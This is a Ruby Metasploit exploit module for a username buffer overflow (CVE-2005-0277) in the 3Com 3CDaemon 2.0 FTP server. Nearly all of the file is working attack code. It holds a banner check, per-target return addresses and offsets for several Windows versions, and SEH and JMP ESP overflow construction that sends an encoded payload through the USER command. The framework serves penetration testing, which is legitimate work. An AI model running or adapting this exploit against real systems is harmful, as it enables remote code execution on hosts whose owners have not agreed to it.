133 lines
3.1 KiB
Ruby
133 lines
3.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the 3Com 3CDaemon
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FTP service. This package is being distributed from the 3Com
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web site and is recommended in numerous support documents.
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This module uses the USER command to trigger the overflow.
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},
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'Author' =>
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[
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'hdm', # Original author
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'otr' # Windows XP SP3
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-0277'],
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[ 'OSVDB', '12810'],
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[ 'OSVDB', '12811'],
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[ 'BID', '12155'],
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[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'target' => 0
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 674,
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'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
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'StackAdjustment' => -3500,
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'Compat' =>
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{
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'ConnectionType' => "-find"
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}
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},
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'Targets' =>
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[
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[
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'Windows 2000 English', # Tested OK - hdm 11/24/2005
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{
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'Platform' => 'win',
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'Ret' => 0x75022ac4, # ws2help.dll
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'Offset' => 229,
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},
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],
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[
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'Windows XP English SP0/SP1',
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{
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'Platform' => 'win',
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'Ret' => 0x71aa32ad, # ws2help.dll
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'Offset' => 229,
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},
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],
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[
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'Windows NT 4.0 SP4/SP5/SP6',
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{
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'Platform' => 'win',
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'Ret' => 0x77681799, # ws2help.dll
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'Offset' => 229,
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},
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],
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[
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'Windows 2000 Pro SP4 French',
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{
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'Platform' => 'win',
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'Ret' => 0x775F29D0,
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'Offset' => 229,
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},
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],
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[
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'Windows XP English SP3',
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{
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'Platform' => 'win',
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'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP3
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#'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP1
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'Offset' => 245,
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},
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],
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],
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'DisclosureDate' => 'Jan 4 2005'))
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end
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def check
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connect
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disconnect
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if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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if (target == targets[4])
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buf = rand_text_english(target['Offset'], payload_badchars)
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buf << [ target['Ret'] ].pack('V') * 2
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buf << payload.encoded
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else
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buf = rand_text_english(2048, payload_badchars)
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seh = generate_seh_payload(target.ret)
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buf[target['Offset'], seh.length] = seh
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end
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send_cmd( ['USER', buf] , false )
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handler
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disconnect
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end
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end
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